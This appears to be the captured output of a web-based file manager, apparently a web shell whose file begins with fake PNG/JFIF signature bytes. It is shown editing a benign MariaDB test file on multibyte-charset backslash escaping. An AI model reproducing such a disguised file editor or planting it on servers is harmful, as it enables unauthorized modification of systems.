�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2F'>mysql-test</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2Finclude%2F'>include</a>/</p><hr><h3>✏️ Editing: ctype_E05C.inc</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>--echo # Start of ctype_E05C.inc

#
# A shared test for character sets big5, cp932, gbk, sjis
# They all can have 0x5C as the second byte in a multi-byte character.
# 0xE05C is one of such characters.
#

# Checking that the character 0xE05C correctly understands 5C as the second byte
# rather than a stand-alone backslash, including the strings that also
# have real backslash escapes and/or separator escapes.

SELECT HEX(&#039;�\&#039;),HEX(&#039;�\t&#039;);
SELECT HEX(&#039;\\�\&#039;),HEX(&#039;\\�\t&#039;),HEX(&#039;\\�\t\t&#039;);
SELECT HEX(&#039;&#039;&#039;�\&#039;),HEX(&#039;�\&#039;&#039;&#039;);
SELECT HEX(&#039;\\&#039;&#039;�\&#039;),HEX(&#039;�\&#039;&#039;\\&#039;);

SELECT HEX(BINARY(&#039;�\&#039;)),HEX(BINARY(&#039;�\t&#039;));
SELECT HEX(BINARY(&#039;\\�\&#039;)),HEX(BINARY(&#039;\\�\t&#039;)),HEX(BINARY(&#039;\\�\t\t&#039;));
SELECT HEX(BINARY(&#039;&#039;&#039;�\&#039;)),HEX(BINARY(&#039;�\&#039;&#039;&#039;));
SELECT HEX(BINARY(&#039;\\&#039;&#039;�\&#039;)),HEX(BINARY(&#039;�\&#039;&#039;\\&#039;));

SELECT HEX(_BINARY&#039;�\&#039;),HEX(_BINARY&#039;�\t&#039;);
SELECT HEX(_BINARY&#039;\\�\&#039;),HEX(_BINARY&#039;\\�\t&#039;),HEX(_BINARY&#039;\\�\t\t&#039;);
SELECT HEX(_BINARY&#039;&#039;&#039;�\&#039;),HEX(_BINARY&#039;�\&#039;&#039;&#039;);
SELECT HEX(_BINARY&#039;\\&#039;&#039;�\&#039;),HEX(_BINARY&#039;�\&#039;&#039;\\&#039;);

CREATE TABLE t1 AS SELECT REPEAT(&#039; &#039;,10) AS a LIMIT 0;
SHOW CREATE TABLE t1;
INSERT INTO t1 VALUES (&#039;�\&#039;),(&#039;�\t&#039;);
INSERT INTO t1 VALUES (&#039;\\�\&#039;),(&#039;\\�\t&#039;),(&#039;\\�\t\t&#039;);
INSERT INTO t1 VALUES (&#039;&#039;&#039;�\&#039;),(&#039;�\&#039;&#039;&#039;);
INSERT INTO t1 VALUES (&#039;\\&#039;&#039;�\&#039;),(&#039;�\&#039;&#039;\\&#039;);
SELECT a, HEX(a) FROM t1;
DROP TABLE t1;

CREATE TABLE t1 (a BLOB);
INSERT INTO t1 VALUES (&#039;�\&#039;),(&#039;�\t&#039;);
INSERT INTO t1 VALUES (&#039;\\�\&#039;),(&#039;\\�\t&#039;),(&#039;\\�\t\t&#039;);
INSERT INTO t1 VALUES (&#039;&#039;&#039;�\&#039;),(&#039;�\&#039;&#039;&#039;);
INSERT INTO t1 VALUES (&#039;\\&#039;&#039;�\&#039;),(&#039;�\&#039;&#039;\\&#039;);
SELECT a, HEX(a) FROM t1;
DROP TABLE t1;

CREATE TABLE t1 AS SELECT REPEAT(&#039; &#039;, 10) AS a LIMIT 0;
SHOW CREATE TABLE t1;
INSERT INTO t1 VALUES (BINARY(&#039;�\&#039;)),(BINARY(&#039;�\t&#039;));
INSERT INTO t1 VALUES (BINARY(&#039;\\�\&#039;)),(BINARY(&#039;\\�\t&#039;)),(BINARY(&#039;\\�\t\t&#039;));
INSERT INTO t1 VALUES (BINARY(&#039;&#039;&#039;�\&#039;)),(BINARY(&#039;�\&#039;&#039;&#039;));
INSERT INTO t1 VALUES (BINARY(&#039;\\&#039;&#039;�\&#039;)),(BINARY(&#039;�\&#039;&#039;\\&#039;));
SELECT a, HEX(a) FROM t1;
DROP TABLE t1;

CREATE TABLE t1 (a BLOB);
INSERT INTO t1 VALUES (BINARY(&#039;�\&#039;)),(BINARY(&#039;�\t&#039;));
INSERT INTO t1 VALUES (BINARY(&#039;\\�\&#039;)),(BINARY(&#039;\\�\t&#039;)),(BINARY(&#039;\\�\t\t&#039;));
INSERT INTO t1 VALUES (BINARY(&#039;&#039;&#039;�\&#039;)),(BINARY(&#039;�\&#039;&#039;&#039;));
INSERT INTO t1 VALUES (BINARY(&#039;\\&#039;&#039;�\&#039;)),(BINARY(&#039;�\&#039;&#039;\\&#039;));
SELECT a, HEX(a) FROM t1;
DROP TABLE t1;

CREATE TABLE t1 AS SELECT REPEAT(&#039; &#039;, 10) AS a LIMIT 0;
SHOW CREATE TABLE t1;
INSERT INTO t1 VALUES (_BINARY&#039;�\&#039;),(_BINARY&#039;�\t&#039;);
INSERT INTO t1 VALUES (_BINARY&#039;\\�\&#039;),(_BINARY&#039;\\�\t&#039;),(_BINARY&#039;\\�\t\t&#039;);
INSERT INTO t1 VALUES (_BINARY&#039;&#039;&#039;�\&#039;),(_BINARY&#039;�\&#039;&#039;&#039;);
INSERT INTO t1 VALUES (_BINARY&#039;\\&#039;&#039;�\&#039;),(_BINARY&#039;�\&#039;&#039;\\&#039;);
SELECT a, HEX(a) FROM t1;
DROP TABLE t1;

CREATE TABLE t1 (a BLOB);
INSERT INTO t1 VALUES (_BINARY&#039;�\&#039;),(_BINARY&#039;�\t&#039;);
INSERT INTO t1 VALUES (_BINARY&#039;\\�\&#039;),(_BINARY&#039;\\�\t&#039;),(_BINARY&#039;\\�\t\t&#039;);
INSERT INTO t1 VALUES (_BINARY&#039;&#039;&#039;�\&#039;),(_BINARY&#039;�\&#039;&#039;&#039;);
INSERT INTO t1 VALUES (_BINARY&#039;\\&#039;&#039;�\&#039;),(_BINARY&#039;�\&#039;&#039;\\&#039;);
SELECT a, HEX(a) FROM t1;
DROP TABLE t1;

#
# test how strings are written into view&#039;s frm
#
disable_view_protocol;
create view v1 as select hex(&#039;�\&#039;), hex(&#039;�\t&#039;);
select * from v1;
drop view v1;
enable_view_protocol;

# Checking that with character_set_client=binary 0x5C in 0xE05C
# is treated as escape rather than the second byte of a multi-byte character,
# even if character_set_connection is big5/cp932/gbk/sjis.
# Note, the other 0x5C which is before 0xE05C is also treated as escape.
#
#check after fix MDEV-29290
--disable_view_protocol
SET character_set_client=binary, character_set_results=binary;
SELECT @@character_set_client, @@character_set_connection, @@character_set_results;
SELECT HEX(&#039;�\[&#039;), HEX(&#039;\�\[&#039;);
CREATE TABLE t1 AS SELECT REPEAT(&#039; &#039;, 10) AS a LIMIT 0;
SHOW CREATE TABLE t1;
INSERT INTO t1 VALUES (&#039;�\[&#039;),(&#039;\�\[&#039;);
SELECT HEX(a) FROM t1;
DROP TABLE t1;

#
# Checking the other way around:
# 0x5C in 0xE05C is treated as the second byte
# when character_set_client=big5,cp932,gbk,sjis
# and character_set_connection=binary
#
SET character_set_client=@@character_set_connection, character_set_results=@@character_set_connection;
SET character_set_connection=binary;
SELECT @@character_set_client, @@character_set_connection, @@character_set_results;
SELECT HEX(&#039;�\[&#039;), HEX(&#039;\�\[&#039;);
CREATE TABLE t1 AS SELECT REPEAT(&#039; &#039;, 10) AS a LIMIT 0;
SHOW CREATE TABLE t1;
INSERT INTO t1 VALUES (&#039;�\[&#039;),(&#039;\�\[&#039;);
SELECT HEX(a) FROM t1;
DROP TABLE t1;
--enable_view_protocol

--echo # End of ctype_E05C.inc

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2Finclude'>🔙 Back</a></p>